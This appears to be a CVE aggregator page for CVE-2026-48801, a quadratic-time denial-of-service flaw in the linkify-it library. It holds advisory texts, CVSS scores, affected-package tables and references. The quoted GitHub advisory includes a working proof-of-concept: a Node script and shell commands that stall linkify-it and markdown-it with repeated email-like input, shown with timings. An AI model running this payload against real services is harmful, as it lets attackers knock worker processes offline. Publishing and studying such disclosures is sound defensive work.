CVE-2026-48801
linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
- Record
CVE-2026-48801- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2026-44454
8.7
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
- Record
EUVD-2026-44454- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-22p9-wv53-3rq4
8.7
LinkifyIt#match scan loop has quadratic algorithmic complexity
Summary
LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "[email protected]\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited:
8e887d5bace3f5b09b1d1f70492fa0364ef1793d(v5.0.0) - Vulnerable function:
LinkifyIt.prototype.match—index.mjs:528-554 - Re-scan call sites inside
test():index.mjs:444(fuzzy host search),:448(fuzzy link match),:467(fuzzy email match) - Transitive consumer:
markdown-it(~21.6M weekly npm DLs) callslinkify.match()atlib/rules_core/linkify.mjs:57whenlinkify:true - All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
The loop iterates O(N) times (once per match). Each iteration:
tail.slice()re-allocates a string of length|text| - shift— O(N) per iterationthis.test(tail)runs three unanchored regex searches over the full newtail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)
Total cost: Σ(N - i*c) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.
Proof of concept
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = '[email protected]\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
Measured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
Doubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
npm install [email protected]
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = '[email protected] '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
n=1000 bytes=8000 md.render=45ms
n=2000…
- Record
GHSA-22p9-wv53-3rq4- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD
8.7
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
- Record
CVE-2026-48801- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV
8.7
linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
- Record
CVE-2026-48801- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVGHSA-22p9-wv53-3rq4
8.7
LinkifyIt#match scan loop has quadratic algorithmic complexity
Summary
LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "[email protected]\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited:
8e887d5bace3f5b09b1d1f70492fa0364ef1793d(v5.0.0) - Vulnerable function:
LinkifyIt.prototype.match—index.mjs:528-554 - Re-scan call sites inside
test():index.mjs:444(fuzzy host search),:448(fuzzy link match),:467(fuzzy email match) - Transitive consumer:
markdown-it(~21.6M weekly npm DLs) callslinkify.match()atlib/rules_core/linkify.mjs:57whenlinkify:true - All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
The loop iterates O(N) times (once per match). Each iteration:
tail.slice()re-allocates a string of length|text| - shift— O(N) per iterationthis.test(tail)runs three unanchored regex searches over the full newtail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)
Total cost: Σ(N - i*c) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.
Proof of concept
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = '[email protected]\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
Measured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
Doubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
npm install [email protected]
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = '[email protected] '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
n=1000 bytes=8000 md.render=45ms
n=2000…
- Record
GHSA-22p9-wv53-3rq4- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1333
- Updated
- 2026-11-02
Show 8 moreShow less
OSVRHSA-2026:38187
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:38187- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:57590
8.6
Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
- Record
RHSA-2026:57590- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-48801
8.7
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
- Record
UBUNTU-CVE-2026-48801- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1791290211 No score
TuxCare security update for linkify-it (1 CVE)
TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 2.2.0-tuxcare.2.
- Record
CLSA-2026-1791290211- Updated
- 2026-11-02
OSVCLSA-2026-1792767578 No score
TuxCare security update for linkify-it (1 CVE)
TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 1.0.1-tuxcare.2.
- Record
CLSA-2026-1792767578- Updated
- 2026-11-02
OSVCLSA-2026-1792776237 No score
TuxCare security update for linkify-it (1 CVE)
TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 3.0.3-tuxcare.2.
- Record
CLSA-2026-1792776237- Updated
- 2026-11-02
OSVMGASA-2026-0377 No score
Updated python-linkify-it-py package fixes security vulnerabilities
LinkifyIt.match() was quadratic on untrusted input when linkify is enabled (GHSA-8m2q-wq3r-6hq8). Fix quadratic complexity in LinkifyIt.match(), port of linkify-it 5.0.1 and 5.0.2 (upstream CVE-2026-48801, CVE-2026-59887) (#82) Match validators at a position instead of slicing the tail, needed because Python 3.10 does not optimize the ^ anchor (#82) Allow ; in the email name, matching linkify-it. Behavior change: a;[email protected] is now linkified (#82)
- Record
MGASA-2026-0377- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-48801 No score
CVE-2026-48801 in linkify-it - Patched by Root
Root has patched CVE-2026-48801 in the linkify-it package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-48801- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
linkify-itnpm |
through 5.0.0 | 5.0.1 |
linkify-itTuxCare:npm |
2.2.0-tuxcare.0 up to 2.2.0-tuxcare.2, plus listed versions 2.2.02.2.0-tuxcare.1 |
2.2.0-tuxcare.2 |
linkify-itTuxCare:npm |
1.0.1-tuxcare.0 up to 1.0.1-tuxcare.2, plus listed versions 1.0.11.0.1-tuxcare.1 |
1.0.1-tuxcare.2 |
linkify-itTuxCare:npm |
3.0.3-tuxcare.0 up to 3.0.3-tuxcare.2, plus listed versions 3.0.33.0.3-tuxcare.1 |
3.0.3-tuxcare.2 |
linkify-itnpm |
before 5.0.1 | 5.0.1 |
python-linkify-it-pyMageia:10 From an advisory covering 2 CVEs |
before 2.1.1-1.mga10 | 2.1.1-1.mga10 |
cargoRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
clippyRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rustRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-analyzerRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
Show 22 moreShow less
| Package | Affected | Fixed |
|---|---|---|
rust-debugger-commonRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-docRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-gdbRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-lldbRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-srcRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-staticRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-aarch64-unknown-none-softfloatRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-aarch64-unknown-uefiRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-i686-pc-windows-gnuRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-wasm32-unknown-unknownRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-wasm32-wasip1Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-x86_64-pc-windows-gnuRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-x86_64-unknown-noneRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-x86_64-unknown-uefiRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rustfmtRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rh-podman-desktopRed Hat:enterprise_linux:10.2 From an advisory covering 24 CVEs |
before 0:1.1.2-1.el10_2 | 0:1.1.2-1.el10_2 |
linkify-itRoot:npm |
before 2.2.0-aikido.1 | 2.2.0-aikido.12.2.0-aikido.24.0.1-aikido.1 |
@rootio/linkify-itRoot:npm |
before 2.2.0-root.io.1 | 2.2.0-root.io.12.2.0-root.io.24.0.1-root.io.1 |
node-markdown-itUbuntu:22.04:LTS |
All versions, plus listed versions 10.0.0+dfsg-210.0.0+dfsg-310.0.0+dfsg-3.110.0.0+dfsg-410.0.0+dfsg-510.0.0+dfsg-6 |
None known |
node-markdown-itUbuntu:24.04:LTS |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-2 |
None known |
node-markdown-itUbuntu:26.10 |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5 |
None known |
node-markdown-itUbuntu:26.04:LTS |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-4 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-48801 is a high vulnerability (CVSS 8.7) in Markdown-it Linkify-it, published June 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in linkify-it 5.0.1.
References
github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4
github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159
github.com/advisories/GHSA-22p9-wv53-3rq4
github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48801.json
nvd.nist.gov/vuln/detail/CVE-2026-48801
github.com/markdown-it/linkify-it
Show 173 moreShow less
advisories.mageia.org/MGASA-2026-0377.html
bugs.mageia.org/show_bug.cgi?id=36247
lists.fedoraproject.org/archives/list/[email protected]/message/DZROSWVUL5NSOK5V2O56ZMD6SRN2KV7V
access.redhat.com/errata/RHSA-2026:38187
images.redhat.com
access.redhat.com/security/cve/CVE-2026-59869
access.redhat.com/security/updates/classification
access.redhat.com/security/cve/CVE-2026-48801
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_38187.json
bugzilla.redhat.com/show_bug.cgi?id=2500656
cve.org/CVERecord?id=CVE-2026-48801
bugzilla.redhat.com/show_bug.cgi?id=2498122
cve.org/CVERecord?id=CVE-2026-59869
nvd.nist.gov/vuln/detail/CVE-2026-59869
github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7
github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4
github.com/nodeca/js-yaml/releases/tag/3.15.0
github.com/nodeca/js-yaml/releases/tag/4.3.0
github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m
access.redhat.com/errata/RHSA-2026:57590
bugzilla.redhat.com/show_bug.cgi?id=2455470
bugzilla.redhat.com/show_bug.cgi?id=2476810
bugzilla.redhat.com/show_bug.cgi?id=2477081
bugzilla.redhat.com/show_bug.cgi?id=2477914
bugzilla.redhat.com/show_bug.cgi?id=2487050
bugzilla.redhat.com/show_bug.cgi?id=2487946
bugzilla.redhat.com/show_bug.cgi?id=2488480
bugzilla.redhat.com/show_bug.cgi?id=2488934
bugzilla.redhat.com/show_bug.cgi?id=2489661
bugzilla.redhat.com/show_bug.cgi?id=2493633
bugzilla.redhat.com/show_bug.cgi?id=2494197
bugzilla.redhat.com/show_bug.cgi?id=2494813
bugzilla.redhat.com/show_bug.cgi?id=2498116
bugzilla.redhat.com/show_bug.cgi?id=2498120
bugzilla.redhat.com/show_bug.cgi?id=2498127
bugzilla.redhat.com/show_bug.cgi?id=2499682
bugzilla.redhat.com/show_bug.cgi?id=2500695
bugzilla.redhat.com/show_bug.cgi?id=2506433
bugzilla.redhat.com/show_bug.cgi?id=2507595
bugzilla.redhat.com/show_bug.cgi?id=2510719
bugzilla.redhat.com/show_bug.cgi?id=2510722
bugzilla.redhat.com/show_bug.cgi?id=2510801
issues.redhat.com/browse/RHEL-238929
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_57590.json
access.redhat.com/security/cve/CVE-2026-9595
cve.org/CVERecord?id=CVE-2026-9595
nvd.nist.gov/vuln/detail/CVE-2026-9595
cna.openjsf.org/security-advisories.html
github.com/facebook/create-react-app/pull/7444
github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb
github.com/webpack/webpack-dev-server/pull/4316
github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79
access.redhat.com/security/cve/CVE-2026-12143
cve.org/CVERecord?id=CVE-2026-12143
nvd.nist.gov/vuln/detail/CVE-2026-12143
cwe.mitre.org/data/definitions/93.html
github.com/form-data/form-data/commit/64190db548c0179e37206858e39f27cf513e9435
github.com/form-data/form-data/commit/be3f3cf553978bac15a5182f1f3c3d2d38ccf229
github.com/form-data/form-data/commit/c7133499c2ee1b80c678e411244f4442bf902045
github.com/form-data/form-data/security/advisories/GHSA-hmw2-7cc7-3qxx
html.spec.whatwg.org/multipage/form-control-infrastructure.html
npmjs.com/package/form-data
access.redhat.com/security/cve/CVE-2026-13149
cve.org/CVERecord?id=CVE-2026-13149
nvd.nist.gov/vuln/detail/CVE-2026-13149
github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754
npmjs.com/package/brace-expansion
access.redhat.com/security/cve/CVE-2026-13676
cve.org/CVERecord?id=CVE-2026-13676
nvd.nist.gov/vuln/detail/CVE-2026-13676
github.com/fastify/fast-uri/security/advisories/GHSA-4c8g-83qw-93j6
access.redhat.com/security/cve/CVE-2026-14257
cve.org/CVERecord?id=CVE-2026-14257
nvd.nist.gov/vuln/detail/CVE-2026-14257
github.com/juliangruber/brace-expansion
github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5
access.redhat.com/security/cve/CVE-2026-34986
cve.org/CVERecord?id=CVE-2026-34986
nvd.nist.gov/vuln/detail/CVE-2026-34986
github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8
pkg.go.dev/github.com/go-jose/go-jose/v4
access.redhat.com/security/cve/CVE-2026-42338
cve.org/CVERecord?id=CVE-2026-42338
nvd.nist.gov/vuln/detail/CVE-2026-42338
github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g
access.redhat.com/security/cve/CVE-2026-42570
cve.org/CVERecord?id=CVE-2026-42570
nvd.nist.gov/vuln/detail/CVE-2026-42570
github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d
github.com/sveltejs/devalue/releases/tag/v5.8.1
github.com/sveltejs/devalue/security/advisories/GHSA-77vg-94rm-hx3p
access.redhat.com/security/cve/CVE-2026-44705
cve.org/CVERecord?id=CVE-2026-44705
nvd.nist.gov/vuln/detail/CVE-2026-44705
github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65
access.redhat.com/security/cve/CVE-2026-45623
cve.org/CVERecord?id=CVE-2026-45623
nvd.nist.gov/vuln/detail/CVE-2026-45623
github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q
access.redhat.com/security/cve/CVE-2026-45736
cve.org/CVERecord?id=CVE-2026-45736
nvd.nist.gov/vuln/detail/CVE-2026-45736
github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086
github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
access.redhat.com/security/cve/CVE-2026-45740
cve.org/CVERecord?id=CVE-2026-45740
nvd.nist.gov/vuln/detail/CVE-2026-45740
github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6
access.redhat.com/security/cve/CVE-2026-48068
cve.org/CVERecord?id=CVE-2026-48068
nvd.nist.gov/vuln/detail/CVE-2026-48068
github.com/grpc/grpc-node/security/advisories/GHSA-5375-pq7m-f5r2
access.redhat.com/security/cve/CVE-2026-48779
cve.org/CVERecord?id=CVE-2026-48779
nvd.nist.gov/vuln/detail/CVE-2026-48779
github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
access.redhat.com/security/cve/CVE-2026-49978
cve.org/CVERecord?id=CVE-2026-49978
nvd.nist.gov/vuln/detail/CVE-2026-49978
github.com/cure53/DOMPurify/commit/ca30f070c360df162a3e3848e80e6fd3c9e74bff
github.com/cure53/DOMPurify/releases/tag/3.4.7
github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq
access.redhat.com/security/cve/CVE-2026-56876
cve.org/CVERecord?id=CVE-2026-56876
nvd.nist.gov/vuln/detail/CVE-2026-56876
github.com/ziad626/extract-zip-security-research/security/advisories/GHSA-x7jf-2287-qcpf
raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-177-01.json
access.redhat.com/security/cve/CVE-2026-59873
cve.org/CVERecord?id=CVE-2026-59873
nvd.nist.gov/vuln/detail/CVE-2026-59873
github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3
github.com/isaacs/node-tar/releases/tag/v7.5.19
github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw
access.redhat.com/security/cve/CVE-2026-59874
cve.org/CVERecord?id=CVE-2026-59874
nvd.nist.gov/vuln/detail/CVE-2026-59874
github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5
github.com/isaacs/node-tar/releases/tag/v7.5.18
github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w
access.redhat.com/security/cve/CVE-2026-59877
cve.org/CVERecord?id=CVE-2026-59877
nvd.nist.gov/vuln/detail/CVE-2026-59877
github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217
github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f
github.com/protobufjs/protobuf.js/pull/2352
github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5
github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6
github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww
access.redhat.com/security/cve/CVE-2026-69152
cve.org/CVERecord?id=CVE-2026-69152
nvd.nist.gov/vuln/detail/CVE-2026-69152
github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d
github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac
github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf
github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031
github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895
access.redhat.com/security/cve/CVE-2026-69153
cve.org/CVERecord?id=CVE-2026-69153
nvd.nist.gov/vuln/detail/CVE-2026-69153
github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8
github.com/postcss/postcss/releases/tag/8.5.19
github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp
access.redhat.com/security/cve/CVE-2026-69192
cve.org/CVERecord?id=CVE-2026-69192
